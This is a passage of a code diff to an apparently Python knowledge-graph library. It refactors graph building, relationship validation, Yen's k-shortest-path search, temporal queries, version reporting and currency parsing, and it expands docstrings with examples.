if canonical_id is None:
|
||||
canonical_id = entity.get("entity_id")
|
||||
if canonical_id is None:
|
||||
continue
|
||||
|
||||
# Keep canonical IDs stable and map every source ID retained by the
|
||||
# merge operation to the surviving entity.
|
||||
try:
|
||||
endpoint_map[canonical_id] = canonical_id
|
||||
except TypeError:
|
||||
# Invalid/unhashable IDs are left for graph validation to report
|
||||
# rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
merged_from = entity.get("merged_from") or []
|
||||
if isinstance(merged_from, (list, tuple, set)):
|
||||
for source_id in merged_from:
|
||||
if source_id is not None:
|
||||
try:
|
||||
endpoint_map[source_id] = canonical_id
|
||||
except TypeError:
|
||||
# Skip invalid aliases while preserving valid ones.
|
||||
continue
|
||||
|
||||
remapped_count = 0
|
||||
for relationship in relationships:
|
||||
if not isinstance(relationship, dict):
|
||||
continue
|
||||
|
||||
for endpoint in ("source", "target"):
|
||||
endpoint_id = relationship.get(endpoint)
|
||||
try:
|
||||
canonical_id = endpoint_map.get(endpoint_id)
|
||||
except TypeError:
|
||||
# Invalid/unhashable endpoints are left for graph validation
|
||||
# to report rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
if canonical_id is not None and canonical_id != endpoint_id:
|
||||
relationship[endpoint] = canonical_id
|
||||
remapped_count += 1
|
||||
|
||||
if remapped_count:
|
||||
self.logger.info(
|
||||
"Remapped %d relationship endpoint(s) after entity resolution",
|
||||
remapped_count,
|
||||
)
|
||||
return remapped_count
|
||||
|
||||
def _extract_from_text(self, text: str, all_entities: List[Any], all_relationships: List[Any], **options):
|
||||
"""Helper to extract knowledge from text using configured methods."""
|
||||
if not options.get("extract", True):
|
||||
@@ -237,15 +342,17 @@ class GraphBuilder:
|
||||
from ..semantic_extract.relation_extractor import RelationExtractor
|
||||
from ..semantic_extract.triplet_extractor import TripletExtractor
|
||||
|
||||
# Default to LLM methods as per requirement
|
||||
ner_method = options.get("ner_method", "llm")
|
||||
relation_method = options.get("relation_method", "llm")
|
||||
triplet_method = options.get("triplet_method", "llm")
|
||||
# Local extractors by default — raw-text build() must not require a
|
||||
# provider, API key, or network access. Pass ner_method="llm" (and the
|
||||
# relation/triplet equivalents) to opt into LLM extraction.
|
||||
ner_method = options.get("ner_method", "ml")
|
||||
relation_method = options.get("relation_method", "pattern")
|
||||
triplet_method = options.get("triplet_method", "pattern")
|
||||
|
||||
self.logger.info(f"Extracting knowledge from text ({len(text)} chars) using {ner_method}...")
|
||||
|
||||
# 1. Extract Entities
|
||||
ner = NERExtractor(method=ner_method, **self.config)
|
||||
ner = self._get_extractor("ner", NERExtractor, ner_method)
|
||||
try:
|
||||
entities = ner.extract_entities(text, **options)
|
||||
extracted_count = len(entities)
|
||||
@@ -258,8 +365,16 @@ class GraphBuilder:
|
||||
entities = []
|
||||
|
||||
# 2. Extract Relations (if requested)
|
||||
if options.get("extract_relations", True):
|
||||
rel_extractor = RelationExtractor(method=relation_method, **self.config)
|
||||
# Stays None when relation extraction is skipped or fails, which lets
|
||||
# TripletExtractor derive its own relations as before. When we do have
|
||||
# them, they are forwarded below so triplets reuse the relations
|
||||
# extracted with relation_method rather than re-deriving via
|
||||
# triplet_method.
|
||||
relations = None
|
||||
if options.get("extract_relations", False):
|
||||
rel_extractor = self._get_extractor(
|
||||
"relation", RelationExtractor, relation_method
|
||||
)
|
||||
try:
|
||||
# Pass entities if available to help relation extraction
|
||||
relations = rel_extractor.extract_relations(text, entities=entities, **options)
|
||||
@@ -273,9 +388,13 @@ class GraphBuilder:
|
||||
|
||||
# 3. Extract Triplets (if requested)
|
||||
if options.get("extract_triplets", True):
|
||||
trip_extractor = TripletExtractor(method=triplet_method, **self.config)
|
||||
trip_extractor = self._get_extractor(
|
||||
"triplet", TripletExtractor, triplet_method
|
||||
)
|
||||
try:
|
||||
triplets = trip_extractor.extract_triplets(text, entities=entities, **options)
|
||||
triplets = trip_extractor.extract_triplets(
|
||||
text, entities=entities, relations=relations, **options
|
||||
)
|
||||
extracted_count = len(triplets)
|
||||
self._extraction_stats["extracted_triplets"] += extracted_count
|
||||
self.logger.info(f"Extracted {extracted_count} triplets")
|
||||
@@ -291,21 +410,51 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Build knowledge graph from sources.
|
||||
"""Build a knowledge graph from one or more sources.
|
||||
|
||||
Args:
|
||||
sources: Entities or sources list
|
||||
second_arg: Optional relationships list or entity_resolver (for backward compatibility)
|
||||
pipeline_id: Optional pipeline ID for progress tracking
|
||||
**options: Additional build options
|
||||
- extract: Whether to extract entities from text (default: True)
|
||||
- extract_relations: Whether to extract relations from text (default: False)
|
||||
- ner_method: NER method to use (default: "ml")
|
||||
- triplet_method: Triplet extraction method (default: "pattern")
|
||||
sources: A source or list of sources. Sources may be text,
|
||||
pre-extracted objects, or dictionaries containing ``entities``
|
||||
and ``relationships``.
|
||||
second_arg: An optional relationship list or entity resolver kept
|
||||
for backward compatibility.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional graph-building options:
|
||||
|
||||
- ``extract`` (bool): Whether to run text extraction when a
|
||||
raw string or ``{"text": ...}`` dict is passed as a source
|
||||
(default: ``True``).
|
||||
- ``extract_relations`` (bool): Whether to extract relations
|
||||
during text extraction (default: ``False``).
|
||||
- ``extract_triplets`` (bool): Whether to extract triplets
|
||||
during text extraction (default: ``True``).
|
||||
- ``ner_method`` (str): NER backend used for text extraction
|
||||
(e.g. ``"ml"``, ``"pattern"``, ``"llm"``; default: ``"ml"``).
|
||||
- ``relation_method`` (str): Relation-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``triplet_method`` (str): Triplet-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``entity_resolver``: An :class:`EntityResolver` instance
|
||||
that overrides the one configured on the builder.
|
||||
- ``relationships`` (list): An explicit list of relationships
|
||||
to include in addition to those found in *sources*.
|
||||
|
||||
Raw-text extraction uses local extractors by default and needs no
|
||||
provider or API key. To use LLM extraction, pass the methods
|
||||
explicitly, e.g. ``ner_method="llm"``.
|
||||
|
||||
Returns:
|
||||
Dictionary containing entities and relationships
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> graph["metadata"]["num_entities"] # doctest: +SKIP
|
||||
1
|
||||
"""
|
||||
# Handle arguments
|
||||
entity_resolver = None
|
||||
@@ -607,6 +756,16 @@ class GraphBuilder:
|
||||
f"Entity resolution complete: {len(all_entities)} -> {len(resolved_entities)} unique entities"
|
||||
)
|
||||
|
||||
# Relationships were collected before entity resolution. Rewrite
|
||||
# endpoints only when resolution produced merged entity IDs.
|
||||
if resolver_to_use:
|
||||
has_merged_entities = any(
|
||||
isinstance(entity, dict) and entity.get("merged_from")
|
||||
for entity in resolved_entities
|
||||
)
|
||||
if has_merged_entities:
|
||||
self._remap_relationship_endpoints(resolved_entities, all_relationships)
|
||||
|
||||
if input_relationships_count > 0 and len(all_relationships) == 0:
|
||||
warning_msg = (
|
||||
f"All relationships were dropped during graph building: "
|
||||
@@ -730,6 +889,26 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""Build a knowledge graph from a single source dictionary.
|
||||
|
||||
Args:
|
||||
kg_data: Source data containing entities, relationships, or both.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional options forwarded to :meth:`build`.
|
||||
|
||||
Returns:
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build_single_source( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> len(graph["entities"]) # doctest: +SKIP
|
||||
1
|
||||
"""
|
||||
return self.build(kg_data, pipeline_id=pipeline_id, **options)
|
||||
|
||||
def add_temporal_edge(
|
||||
@@ -743,21 +922,33 @@ class GraphBuilder:
|
||||
temporal_metadata=None,
|
||||
**kwargs,
|
||||
):
|
||||
"""
|
||||
Add edge with temporal validity information.
|
||||
"""Add an edge with temporal validity information to a graph.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to add edge to
|
||||
source: Source entity/node
|
||||
target: Target entity/node
|
||||
relationship: Relationship type
|
||||
valid_from: Start time for relationship validity (datetime, timestamp, or ISO string)
|
||||
valid_until: End time for relationship validity (None for ongoing)
|
||||
temporal_metadata: Additional temporal metadata (timezone, precision, etc.)
|
||||
**kwargs: Additional edge properties
|
||||
graph: Mutable knowledge-graph dictionary to update.
|
||||
source: Identifier of the source entity or node.
|
||||
target: Identifier of the target entity or node.
|
||||
relationship: Relationship type for the edge.
|
||||
valid_from: Start of the validity period. Accepts a datetime or
|
||||
ISO-formatted string; defaults to the current time.
|
||||
valid_until: End of the validity period, or ``None`` for an
|
||||
ongoing relationship.
|
||||
temporal_metadata: Optional metadata such as timezone or
|
||||
precision information.
|
||||
**kwargs: Additional properties to include on the edge.
|
||||
|
||||
Returns:
|
||||
Edge object with temporal annotations
|
||||
The temporal edge dictionary appended to the graph's
|
||||
``relationships`` list.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = {"entities": [], "relationships": []}
|
||||
>>> edge = builder.add_temporal_edge( # doctest: +SKIP
|
||||
... graph, "ada", "analytical-engine", "DESIGNED"
|
||||
... )
|
||||
>>> edge["type"] # doctest: +SKIP
|
||||
'DESIGNED'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -806,17 +997,29 @@ class GraphBuilder:
|
||||
def create_temporal_snapshot(
|
||||
self, graph, timestamp=None, snapshot_name=None, **options
|
||||
):
|
||||
"""
|
||||
Create temporal snapshot of graph at specific time point.
|
||||
"""Create a snapshot of a graph at a specific point in time.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to snapshot
|
||||
timestamp: Time point for snapshot (None for current time)
|
||||
snapshot_name: Optional name for snapshot
|
||||
**options: Additional snapshot options
|
||||
graph: Knowledge graph whose entities and relationships will be
|
||||
copied into the snapshot.
|
||||
timestamp: Snapshot time, or ``None`` to use the current time.
|
||||
snapshot_name: Optional human-readable snapshot name.
|
||||
**options: Additional snapshot options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Temporal snapshot object
|
||||
A snapshot dictionary containing the name, timestamp, all copied
|
||||
entities, relationships valid at the timestamp, and summary
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> snapshot = builder.create_temporal_snapshot( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... timestamp="2026-01-01T00:00:00",
|
||||
... snapshot_name="new-year",
|
||||
... )
|
||||
>>> snapshot["name"] # doctest: +SKIP
|
||||
'new-year'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -897,19 +1100,32 @@ class GraphBuilder:
|
||||
temporal_window=None,
|
||||
**options,
|
||||
):
|
||||
"""
|
||||
Query graph at specific time point or time range.
|
||||
"""Query a graph at a specific time or over a time range.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to query
|
||||
query: Query (Cypher, SPARQL, or natural language)
|
||||
at_time: Query at specific time point
|
||||
time_range: Query within time range (start, end)
|
||||
temporal_window: Temporal window size
|
||||
**options: Additional query options
|
||||
graph: Knowledge graph to query.
|
||||
query: Query text to record in the result. The current
|
||||
implementation does not interpret it or filter the graph.
|
||||
at_time: Optional point in time at which to query the graph.
|
||||
time_range: Optional ``(start, end)`` time range. The graph is
|
||||
evaluated at the end of the range.
|
||||
temporal_window: Optional temporal-window value reserved for
|
||||
query-engine integrations.
|
||||
**options: Additional query options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Query results with temporal context
|
||||
A dictionary containing the query, temporal context, entities and
|
||||
relationships from the selected graph or snapshot, and graph
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> result = builder.query_temporal( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... "MATCH (n) RETURN n",
|
||||
... )
|
||||
>>> result["entities"][0]["id"] # doctest: +SKIP
|
||||
'ada'
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -972,20 +1188,34 @@ class GraphBuilder:
|
||||
temporal_property="valid_time",
|
||||
**kwargs,
|
||||
):
|
||||
"""
|
||||
Load graph from Neo4j database.
|
||||
"""Load a knowledge graph from a Neo4j database.
|
||||
|
||||
Args:
|
||||
uri: Neo4j connection URI
|
||||
username: Neo4j username
|
||||
password: Neo4j password
|
||||
database: Neo4j database name
|
||||
enable_temporal: Enable temporal features for loaded graph
|
||||
temporal_property: Property name for temporal data
|
||||
**kwargs: Additional connection options
|
||||
uri: Neo4j connection URI.
|
||||
username: Neo4j username.
|
||||
password:
|
||||
Authentication credential supplied for the Neo4j user.
|
||||
database: Neo4j database name.
|
||||
enable_temporal: Whether to read temporal relationship data.
|
||||
temporal_property: Relationship property containing temporal
|
||||
data.
|
||||
**kwargs: Additional connection options reserved for extensions.
|
||||
|
||||
Returns:
|
||||
Knowledge graph loaded from Neo4j
|
||||
A dictionary containing loaded entities, relationships, and
|
||||
source metadata.
|
||||
|
||||
Raises:
|
||||
ImportError: If the Neo4j driver is unavailable.
|
||||
|
||||
Example:
|
||||
>>> import os
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.load_from_neo4j( # doctest: +SKIP
|
||||
... "bolt://localhost:7687",
|
||||
... "neo4j",
|
||||
... os.environ["NEO4J_PASSWORD"],
|
||||
... )
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
|
||||
@@ -185,8 +185,25 @@ class GraphValidator:
|
||||
|
||||
# 3. Relationship Validation
|
||||
for i, rel in enumerate(relationships):
|
||||
# Check required fields
|
||||
missing = self.required_rel_fields - set(rel.keys())
|
||||
# Endpoints may use either the legacy ``source``/``target`` keys or
|
||||
# the canonical ``source_id``/``target_id`` keys emitted by
|
||||
# ``ContextGraph.to_kg_dict()``. Accept either variant so both
|
||||
# representations validate consistently.
|
||||
src = rel.get("source")
|
||||
if src is None:
|
||||
src = rel.get("source_id")
|
||||
tgt = rel.get("target")
|
||||
if tgt is None:
|
||||
tgt = rel.get("target_id")
|
||||
|
||||
# Check required fields: ``type`` plus a resolvable source/target.
|
||||
missing = set()
|
||||
if "type" not in rel:
|
||||
missing.add("type")
|
||||
if src is None:
|
||||
missing.add("source")
|
||||
if tgt is None:
|
||||
missing.add("target")
|
||||
if missing:
|
||||
issues.append(ValidationIssue(
|
||||
code="MISSING_FIELD",
|
||||
@@ -196,9 +213,6 @@ class GraphValidator:
|
||||
details={"index": i}
|
||||
))
|
||||
continue
|
||||
|
||||
src = rel.get("source")
|
||||
tgt = rel.get("target")
|
||||
|
||||
# Check Dangling Edges
|
||||
def is_valid_id(node_id):
|
||||
|
||||
+162
-129
@@ -127,66 +127,100 @@ class PathFinder:
|
||||
try:
|
||||
self.logger.info(f"Finding Dijkstra shortest path from {source} to {target}")
|
||||
|
||||
# Validate nodes exist
|
||||
if not self._node_exists(graph, source):
|
||||
raise ValueError(f"Source node {source} not found")
|
||||
if not self._node_exists(graph, target):
|
||||
raise ValueError(f"Target node {target} not found")
|
||||
|
||||
traversal_graph = graph if directed else self._make_undirected_view(graph)
|
||||
|
||||
# Dijkstra's algorithm
|
||||
distances = {source: 0.0}
|
||||
previous = {}
|
||||
priority_queue = [(0.0, source)]
|
||||
visited = set()
|
||||
|
||||
while priority_queue:
|
||||
current_distance, current_node = heapq.heappop(priority_queue)
|
||||
|
||||
if current_node in visited:
|
||||
continue
|
||||
|
||||
visited.add(current_node)
|
||||
|
||||
if current_node == target:
|
||||
break
|
||||
|
||||
# Explore neighbors
|
||||
for neighbor, edge_data in self._get_neighbors(traversal_graph, current_node):
|
||||
if neighbor in visited:
|
||||
continue
|
||||
|
||||
# Get edge weight
|
||||
weight = self._get_edge_weight(edge_data, weight_attribute, default_weight)
|
||||
distance = current_distance + weight
|
||||
|
||||
if neighbor not in distances or distance < distances[neighbor]:
|
||||
distances[neighbor] = distance
|
||||
previous[neighbor] = current_node
|
||||
heapq.heappush(priority_queue, (distance, neighbor))
|
||||
|
||||
# Reconstruct path
|
||||
if target not in previous and source != target:
|
||||
return [] # No path found
|
||||
|
||||
path = []
|
||||
current = target
|
||||
while current is not None:
|
||||
path.append(current)
|
||||
current = previous.get(current)
|
||||
|
||||
path.reverse()
|
||||
|
||||
path = self._dijkstra_shortest_path(
|
||||
graph,
|
||||
source,
|
||||
target,
|
||||
weight_attribute,
|
||||
default_weight,
|
||||
directed,
|
||||
)
|
||||
self.logger.info(f"Found path of length {len(path)}")
|
||||
return path
|
||||
|
||||
|
||||
except ValueError:
|
||||
# Re-raise ValueError for invalid nodes
|
||||
raise
|
||||
except Exception as e:
|
||||
self.logger.error(f"Dijkstra path finding failed: {str(e)}")
|
||||
raise RuntimeError(f"Path finding failed: {str(e)}")
|
||||
|
||||
def _dijkstra_shortest_path(
|
||||
self,
|
||||
graph: Any,
|
||||
source: str,
|
||||
target: str,
|
||||
weight_attribute: str = "weight",
|
||||
default_weight: float = 1.0,
|
||||
directed: bool = True,
|
||||
excluded_nodes: Optional[Set[str]] = None,
|
||||
excluded_edges: Optional[Set[Tuple[str, str]]] = None,
|
||||
) -> List[str]:
|
||||
"""Find a shortest path without mutating the graph.
|
||||
|
||||
``excluded_nodes`` and ``excluded_edges`` are used internally by
|
||||
Yen's algorithm to model its temporary graph modifications.
|
||||
"""
|
||||
excluded_nodes = excluded_nodes or set()
|
||||
excluded_edges = excluded_edges or set()
|
||||
|
||||
# Validate nodes exist before applying the temporary exclusions.
|
||||
if not self._node_exists(graph, source):
|
||||
raise ValueError(f"Source node {source} not found")
|
||||
if not self._node_exists(graph, target):
|
||||
raise ValueError(f"Target node {target} not found")
|
||||
if source in excluded_nodes or target in excluded_nodes:
|
||||
return []
|
||||
|
||||
traversal_graph = graph if directed else self._make_undirected_view(graph)
|
||||
|
||||
# Dijkstra's algorithm
|
||||
distances = {source: 0.0}
|
||||
previous = {}
|
||||
priority_queue = [(0.0, source)]
|
||||
visited = set()
|
||||
|
||||
while priority_queue:
|
||||
current_distance, current_node = heapq.heappop(priority_queue)
|
||||
|
||||
if current_node in visited or current_node in excluded_nodes:
|
||||
continue
|
||||
|
||||
visited.add(current_node)
|
||||
|
||||
if current_node == target:
|
||||
break
|
||||
|
||||
# Explore neighbors
|
||||
for neighbor, edge_data in self._get_neighbors(traversal_graph, current_node):
|
||||
if neighbor in visited or neighbor in excluded_nodes:
|
||||
continue
|
||||
if self._edge_is_excluded(
|
||||
traversal_graph, current_node, neighbor, excluded_edges
|
||||
):
|
||||
continue
|
||||
|
||||
# Get edge weight
|
||||
weight = self._get_edge_weight(edge_data, weight_attribute, default_weight)
|
||||
distance = current_distance + weight
|
||||
|
||||
if neighbor not in distances or distance < distances[neighbor]:
|
||||
distances[neighbor] = distance
|
||||
previous[neighbor] = current_node
|
||||
heapq.heappush(priority_queue, (distance, neighbor))
|
||||
|
||||
# Reconstruct path
|
||||
if target not in previous and source != target:
|
||||
return [] # No path found
|
||||
|
||||
path = []
|
||||
current = target
|
||||
while current is not None:
|
||||
path.append(current)
|
||||
current = previous.get(current)
|
||||
|
||||
path.reverse()
|
||||
return path
|
||||
|
||||
def a_star_search(
|
||||
self,
|
||||
@@ -493,69 +527,89 @@ class PathFinder:
|
||||
raise ValueError("k must be positive")
|
||||
|
||||
# Find first shortest path
|
||||
first_path = self.dijkstra_shortest_path(graph, source, target, weight_attribute, default_weight)
|
||||
first_path = self.dijkstra_shortest_path(
|
||||
graph, source, target, weight_attribute, default_weight
|
||||
)
|
||||
if not first_path:
|
||||
return []
|
||||
|
||||
paths = [first_path]
|
||||
candidates = []
|
||||
|
||||
for i in range(1, k):
|
||||
# Generate candidate paths
|
||||
for j in range(len(paths[-1]) - 1):
|
||||
spur_node = paths[-1][j]
|
||||
root_path = paths[-1][:j + 1]
|
||||
|
||||
# Temporarily remove edges
|
||||
removed_edges = []
|
||||
candidate_paths = {tuple(first_path)}
|
||||
candidate_order = 0
|
||||
|
||||
while len(paths) < k:
|
||||
previous_path = paths[-1]
|
||||
|
||||
# Generate candidate paths from every spur node in the last path.
|
||||
for j in range(len(previous_path) - 1):
|
||||
spur_node = previous_path[j]
|
||||
root_path = previous_path[:j + 1]
|
||||
|
||||
# Block the next edge of every accepted path sharing this root.
|
||||
excluded_edges = set()
|
||||
for path in paths:
|
||||
if len(path) > j and path[:j + 1] == root_path:
|
||||
if j + 1 < len(path):
|
||||
edge_data = self._get_edge_data(graph, path[j], path[j + 1])
|
||||
if edge_data is not None:
|
||||
removed_edges.append((path[j], path[j + 1], edge_data))
|
||||
self._remove_edge(graph, path[j], path[j + 1])
|
||||
|
||||
# Temporarily remove nodes (except spur node and nodes that don't exist)
|
||||
removed_nodes = []
|
||||
for node in root_path[:-1]:
|
||||
if node != spur_node and node != source and self._node_exists(graph, node):
|
||||
removed_nodes.append(node)
|
||||
self._remove_node(graph, node)
|
||||
|
||||
# Find spur path
|
||||
spur_path = self.dijkstra_shortest_path(graph, spur_node, target, weight_attribute, default_weight)
|
||||
|
||||
# Restore graph
|
||||
for node in removed_nodes:
|
||||
self._restore_node(graph, node)
|
||||
for u, v, data in removed_edges:
|
||||
self._restore_edge(graph, u, v, data)
|
||||
|
||||
# Combine root and spur paths
|
||||
if spur_path:
|
||||
candidate_path = root_path[:-1] + spur_path
|
||||
if candidate_path not in candidates and candidate_path not in paths:
|
||||
candidates.append(candidate_path)
|
||||
|
||||
# Calculate path lengths and sort
|
||||
candidates_with_lengths = []
|
||||
for path in candidates:
|
||||
try:
|
||||
length = self.path_length(graph, path, weight_attribute, default_weight)
|
||||
candidates_with_lengths.append((path, length))
|
||||
except ValueError:
|
||||
# Skip invalid paths
|
||||
continue
|
||||
|
||||
candidates_with_lengths.sort(key=lambda x: x[1])
|
||||
|
||||
# Add shortest unique paths
|
||||
for path, length in candidates_with_lengths:
|
||||
if len(paths) < k and path not in paths:
|
||||
paths.append(path)
|
||||
|
||||
if len(path) > j + 1 and path[:j + 1] == root_path:
|
||||
excluded_edges.add((path[j], path[j + 1]))
|
||||
|
||||
# Block root nodes so the combined path remains loopless.
|
||||
excluded_nodes = set(root_path[:-1])
|
||||
spur_path = self._dijkstra_shortest_path(
|
||||
graph,
|
||||
spur_node,
|
||||
target,
|
||||
weight_attribute,
|
||||
default_weight,
|
||||
excluded_nodes=excluded_nodes,
|
||||
excluded_edges=excluded_edges,
|
||||
)
|
||||
|
||||
if not spur_path:
|
||||
continue
|
||||
|
||||
candidate_path = root_path[:-1] + spur_path
|
||||
if len(candidate_path) != len(set(candidate_path)):
|
||||
continue
|
||||
|
||||
candidate_key = tuple(candidate_path)
|
||||
if candidate_key in candidate_paths:
|
||||
continue
|
||||
|
||||
try:
|
||||
length = self.path_length(
|
||||
graph, candidate_path, weight_attribute, default_weight
|
||||
)
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
candidate_paths.add(candidate_key)
|
||||
heapq.heappush(candidates, (length, candidate_order, candidate_path))
|
||||
candidate_order += 1
|
||||
|
||||
if not candidates:
|
||||
break
|
||||
|
||||
_, _, next_path = heapq.heappop(candidates)
|
||||
paths.append(next_path)
|
||||
|
||||
return paths
|
||||
|
||||
def _edge_is_excluded(
|
||||
self,
|
||||
graph: Any,
|
||||
source: str,
|
||||
target: str,
|
||||
excluded_edges: Set[Tuple[str, str]],
|
||||
) -> bool:
|
||||
"""Check whether an edge is excluded for the current traversal."""
|
||||
if (source, target) in excluded_edges:
|
||||
return True
|
||||
|
||||
is_directed = getattr(graph, "is_directed", None)
|
||||
if callable(is_directed) and not is_directed():
|
||||
return (target, source) in excluded_edges
|
||||
|
||||
return False
|
||||
|
||||
def _node_exists(self, graph: Any, node: str) -> bool:
|
||||
"""Check if node exists in graph."""
|
||||
@@ -614,27 +668,6 @@ class PathFinder:
|
||||
return edge_data.get(weight_attribute, default_weight)
|
||||
return default_weight
|
||||
|
||||
def _remove_edge(self, graph: Any, u: str, v: str) -> None:
|
||||
"""Remove edge from graph."""
|
||||
if hasattr(graph, 'remove_edge'):
|
||||
graph.remove_edge(u, v)
|
||||
|
||||
def _restore_edge(self, graph: Any, u: str, v: str, data: Any) -> None:
|
||||
"""Restore edge to graph."""
|
||||
if hasattr(graph, 'add_edge'):
|
||||
graph.add_edge(u, v, **data)
|
||||
|
||||
def _remove_node(self, graph: Any, node: str) -> None:
|
||||
"""Remove node from graph."""
|
||||
if hasattr(graph, 'remove_node'):
|
||||
graph.remove_node(node)
|
||||
|
||||
def _restore_node(self, graph: Any, node: str) -> None:
|
||||
"""Restore node to graph (implementation depends on graph type)."""
|
||||
# This is a simplified implementation
|
||||
# In practice, you'd need to restore the node and its connections
|
||||
pass
|
||||
|
||||
def _reconstruct_all_paths(
|
||||
self,
|
||||
previous: Dict[str, List[str]],
|
||||
|
||||
@@ -535,7 +535,8 @@ class TemporalGraphQuery:
|
||||
relationships = [
|
||||
rel
|
||||
for rel in relationships
|
||||
if rel.get("source") == entity or rel.get("target") == entity
|
||||
if (rel.get("source") or rel.get("source_id")) == entity
|
||||
or (rel.get("target") or rel.get("target_id")) == entity
|
||||
]
|
||||
|
||||
if relationship:
|
||||
@@ -642,8 +643,14 @@ class TemporalGraphQuery:
|
||||
parsed_end_time = self._parse_time(end_time) if end_time else None
|
||||
|
||||
for rel in relationships:
|
||||
# Accept both the legacy ``source``/``target`` keys and the
|
||||
# canonical ``source_id``/``target_id`` keys from ``to_kg_dict()``.
|
||||
s = rel.get("source")
|
||||
if s is None:
|
||||
s = rel.get("source_id")
|
||||
t = rel.get("target")
|
||||
if t is None:
|
||||
t = rel.get("target_id")
|
||||
|
||||
# Check temporal validity
|
||||
if start_time or end_time:
|
||||
|
||||
@@ -47,6 +47,15 @@ import os
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — it is kept in
|
||||
# sync with pyproject.toml's static `version` field by the release process and
|
||||
# is always present whenever this submodule is importable. Using it directly
|
||||
# is simpler and more reliable than `importlib.metadata.version("semantica")`,
|
||||
# which reads dist-info written at install time and can lag the source in
|
||||
# editable installs (egg-info / dist-info is not regenerated on every version
|
||||
# bump, so it can reflect a stale value).
|
||||
from semantica import __version__ as _SEMANTICA_VERSION
|
||||
|
||||
# ── logging ────────────────────────────────────────────────────────────────
|
||||
_log_level = getattr(logging, os.environ.get("SEMANTICA_LOG_LEVEL", "WARNING").upper(), logging.WARNING)
|
||||
logging.basicConfig(stream=sys.stderr, level=_log_level,
|
||||
@@ -477,7 +486,7 @@ def _read_resource(uri: str) -> dict:
|
||||
if uri == "semantica://schema/info":
|
||||
return {
|
||||
"name": "Semantica",
|
||||
"version": "0.4.0",
|
||||
"version": _SEMANTICA_VERSION,
|
||||
"tools": [t["name"] for t in TOOLS],
|
||||
"resources": [r["uri"] for r in RESOURCES],
|
||||
}
|
||||
@@ -490,7 +499,7 @@ def _read_resource(uri: str) -> dict:
|
||||
|
||||
SERVER_INFO = {
|
||||
"name": "semantica",
|
||||
"version": "0.4.0",
|
||||
"version": _SEMANTICA_VERSION,
|
||||
}
|
||||
|
||||
CAPABILITIES = {
|
||||
|
||||
@@ -562,6 +562,11 @@ class CurrencyNormalizer:
|
||||
"SEK",
|
||||
"NOK",
|
||||
"DKK",
|
||||
"RUB",
|
||||
"KRW",
|
||||
"ILS",
|
||||
"NGN",
|
||||
"PKR",
|
||||
]
|
||||
|
||||
self.logger.debug("Currency normalizer initialized")
|
||||
@@ -606,13 +611,15 @@ class CurrencyNormalizer:
|
||||
# Check for currency code
|
||||
if not currency_code:
|
||||
for code in self.currency_codes:
|
||||
if code in currency_input.upper():
|
||||
match = re.search(
|
||||
rf"(?<![A-Z]){re.escape(code)}(?![A-Z])",
|
||||
currency_input.upper(),
|
||||
)
|
||||
if match:
|
||||
currency_code = code
|
||||
amount_str = (
|
||||
currency_input.replace(code, "")
|
||||
.replace(code.lower(), "")
|
||||
.strip()
|
||||
)
|
||||
currency_input[: match.start()] + currency_input[match.end() :]
|
||||
).strip()
|
||||
amount_str = amount_str.replace(",", "").replace(" ", "")
|
||||
try:
|
||||
amount = float(amount_str)
|
||||
|
||||
@@ -33,6 +33,12 @@ class SHACLViolation:
|
||||
value: Optional[str] = None
|
||||
shape: Optional[str] = None
|
||||
explanation: Optional[str] = None
|
||||
# Real constraint parameters extracted from the source shape (sh:sourceShape),
|
||||
# used to render accurate plain-English explanations.
|
||||
min_count: Optional[int] = None
|
||||
max_count: Optional[int] = None
|
||||
datatype: Optional[str] = None
|
||||
class_: Optional[str] = None
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
return {
|
||||
@@ -44,6 +50,10 @@ class SHACLViolation:
|
||||
"value": self.value,
|
||||
"shape": self.shape,
|
||||
"explanation": self.explanation,
